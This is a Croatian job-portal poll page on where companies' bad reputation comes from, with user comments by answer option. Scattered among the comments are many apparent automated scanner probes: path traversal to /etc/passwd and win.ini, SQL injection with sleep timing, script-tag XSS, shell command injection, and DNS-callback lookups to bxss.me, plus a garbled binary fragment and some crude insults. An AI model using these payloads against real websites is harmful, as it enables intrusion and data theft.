Anketa

Naslovnica › Press centar › Ankete › Odakle u najvećoj mjeri dolazi negativna i loša...

Odakle u najvećoj mjeri dolazi negativna i loša slika o tvrtkama?

Od trenutnih zaposlenika (44%)

(1068)
Komentari (269)

Komentari

Mobbing, diskriminacija

Tvrtku čine njezini zaposlenici, ako su oni neodgojeni, na kakvom glasu može biti tvrtka?

u zadnje 3 firme koje sam radio, najvise su me ometali kolege

I bivsih

Zbog ne mogućnosti napredovanja kod trenutnog poslodavca

Neki su objektivni neki samo zločesti

Nezadovoljan djelatnik je glavni pokazatelj da tvrtka nije onakva kakvom se želi prikazati. Manje mobinga i veće plaće.

Prijatelji i poznanici u društvu pričaju među sobom, pogotovo ako rade u istoj branši

svi koji donose negativnu atmosferu na posao treba ih poslati prvim vlakom dalje.

Zato jer su nezadovoljni

Govoriti o lošim praksama tvrtke dok si zaposlen za tu istu tvrtku je opasno po radno mjesto, međutim kada je toliko loše da te baš briga, onda stvarno znaš da tamo nešto stvarno ne funkcionira.

Sremna sm izavove

Nisu uslužni

Znaju kako je tamo

-

Ne živimo da bi radili,,,nego radimo da bi preživjeli

Komentar

nezadovoljstvo je nerijetko uzrokovano lošom organizacijom rada i neadekvatnim odabirom rukovodećeg kadra

Jer su sigurno potplaćeni i nezadovoljni uvjetima.

Uzas

ljudi odražavaju stvarno stanje tvrtki

Zbog njihovog nezadovoljstva i ne zainteresiranost za rad

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

${10000192+10000272}

response.write(9939484*9449492)

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

../../../../../../../../../../../../../../windows/win.ini

1

1

1

1

1&n940944=v901696

1

1

1

1

../1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

'"()

1

1

1

1

1

1

1

1

echo yvuucb$()\ dcamqp\nz^xyu||a #' &echo yvuucb$()\ dcamqp\nz^xyu||a #|" &echo yvuucb$()\ dcamqp\nz^xyu||a #

1

1

1

1

1

1

1

1

1

1

1

1

'.gethostbyname(lc('hitjc'.'vzljbnyp71136.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(69).chr(114).chr(86).'

1

1

(nslookup hitkhcubdpqqb7a5c1.bxss.me||perl -e "gethostbyname('hitkhcubdpqqb7a5c1.bxss.me')")

1

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

`(nslookup hitzfuvmondivcf52d.bxss.me||perl -e "gethostbyname('hitzfuvmondivcf52d.bxss.me')")`

1

1

1

1

1

1

1

1

1

1

index.php

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

';print(md5(31337));$a='

1

1

1

1

1

1

1

1

'.print(md5(31337)).'

1

1

1

1

1

1

1

1

1

1

1'"()&%<acx><ScRiPt >j3WQ(9538)</ScRiPt>

1

1

1

'"()&%<acx><ScRiPt >j3WQ(9715)</ScRiPt>

1

1

1

19612516

1

1

acu8537＜s1﹥s2ʺs3ʹuca8537

1

1

1

1

1

1

CWS000x?=?1N?@E߮??I)?@?? ?HiP"D?F?G&َ7??܂?rX;!S??̛????7Jq???.?>?p?c?l??zG?ܾM??dkj?,??(???T?Jj)?"?T7$??H?D6)?x)??ؒ?\C?|?Q?Nc?b??? b_&?5 h??g? ]s??0Q?L<?6?L?_?w~?[?/[?m{?????:n-????.?d1d???6?0

1

1

1

1

1

1

1

1

-1 OR 2+687-687-1=0+0+0+1

-1' OR 2+229-229-1=0+0+0+1 or 'jJc0jkbV'='

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

Nezadovoljstvo

...

i sam sam trenutni zaposlenik i bilo komu tko me pita govorim da zaobilazi moju tvrtku u sirokom luku

Ljudi nikada nisu zadovoljni, ne vesele se malim stvarima, posao gledaju kao nešto što moraju, a ne uživaju u njemu

Svjedočiš iz prve ruke

informacije iz prve ruke

Centrus TIM d.o.o.

Zbog lošeg odnosa firmi premna zaposlenim i zbog kršenja ugovorenih uvjeta

Najkompetentniji su

Iskorištavanje radnika

Loše plače

Manageri imaju prevelike plaće.

Problem s neadekvatnim rukovodstvom.

Oni koji su svaki dan u firmi i zbog toga vide sve i znaju sve (što nije u redu)

jer je mnogo zaposlenih alkoholičara u tvrtkama

Zelim da se zaposlim

Dokazi sa "prve crte"tj iz prve ruke

dominik testira
Od bivših zaposlenika (40%)

(957)
Komentari (240)

Komentari

Oni koji su otišli govore istinu jer nemaju što izgubiti

ukoliko su nezadovoljni bili

Serem te

i treba ih hračkat

Ljudi dijele svoja iskustva. Glassdoor počiva na tome.

Sadašnji zaposlenici nece pljuvati po ustima koja ih hrane

Kad radnik nije zadovoljan, traži bolji posao i kad ga nađe ode od trenutnog poslodavca i tada iznese sve s čim nije bio zadovoljan.

Valjda bivši znaju

Za svoj eventualni neuspjeh u tvrtki okrivljuju druge osobe

kažu sve što su šutili i trpili dok su radili

Iz osobnog iskustva...

jer nisu se usudili ništa govoriti kad su radili.

1

1

1

1

response.write(9878929*9250054)

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

../../../../../../../../../../../../../../etc/passwd

1

1

1

1

Array

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

!(()&&!|*|*|

|echo ubyegl$()\ eapzxt\nz^xyu||a #' |echo ubyegl$()\ eapzxt\nz^xyu||a #|" |echo ubyegl$()\ eapzxt\nz^xyu||a #

Array

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

"+"A".concat(70-3).concat(22*4).concat(106).concat(67).concat(97).concat(77)+(require"socket" Socket.gethostbyname("hitkq"+"akjlieon75abb.bxss.me.")[3].to_s)+"

1

1

1

1

1

1

1

1

1

1

1

1

1

1

index.php

1

1

/xfs.bxss.me

1

1

1

1

1

1

';print(md5(31337));$a='

1

1

1

1

'"

1

1

'.print(md5(31337)).'

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1'"()&%<acx><ScRiPt >N9NZ(9413)</ScRiPt>

1

1

'"()&%<acx><ScRiPt >N9NZ(9067)</ScRiPt>

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

U najvećoj mjeri od onih koji su napustili brod koji tone.

Kad netko ode iz firme i nema nikakvih obaveza prema firmi, a ponajvise straha onda iznosi sto je sve bilo lose u firmi bez staha od prijetnji i gubitku posla

Nije uvjek slučaj, ali u 70% bivši zaposlenici kažu realnu sliku, dok trenutni zaposlenici nesmiju se izjasniti negativno zbog straha od otkaza...

ukoliko se poslodavac nekorektno odnosio prema radnicima

kad izađu iz vrtke, više se ne boje ispričati kako tamo stvari zapravo funkcioniraju.

Po meni jedino realno jer je iz iskustva a ne rekla kazala.

Nisam s razlogom bivsi zaposlenik,svako ima svoje

zato što su pičke

Ne bi otišli da su zadovoljni.
Od kandidata koji se nisu uspjeli zaposliti (11%)

(277)
Komentari (174)

Komentari

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

../../../../../../../../../../../../../../windows/win.ini

1

1

1

../1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

bxss.me

1

1

1

1

1

1

1

1

1

1

1

1

1

1

".gethostbyname(lc("hitnc"."yaazqbflf151a.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(89).chr(111).chr(74)."

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

index.php

1

1

1

1

1

1

1

';print(md5(31337));$a='

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1'"()&%<acx><ScRiPt >ZF4n(9890)</ScRiPt>

1

1

'"()&%<acx><ScRiPt >ZF4n(9949)</ScRiPt>

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1
Od konkurentskih tvrtki (5%)

(111)
Komentari (1)

Komentari

Fali opcija "nešto drugo" ali nezdrave tvrtke sa učestalom izmjenom zaposlenika mrze kad ste odličan radnik i imate alternativu.

Anketa

Odakle u najvećoj mjeri dolazi negativna i loša slika o tvrtkama?

Komentari

Komentari

Komentari

Komentari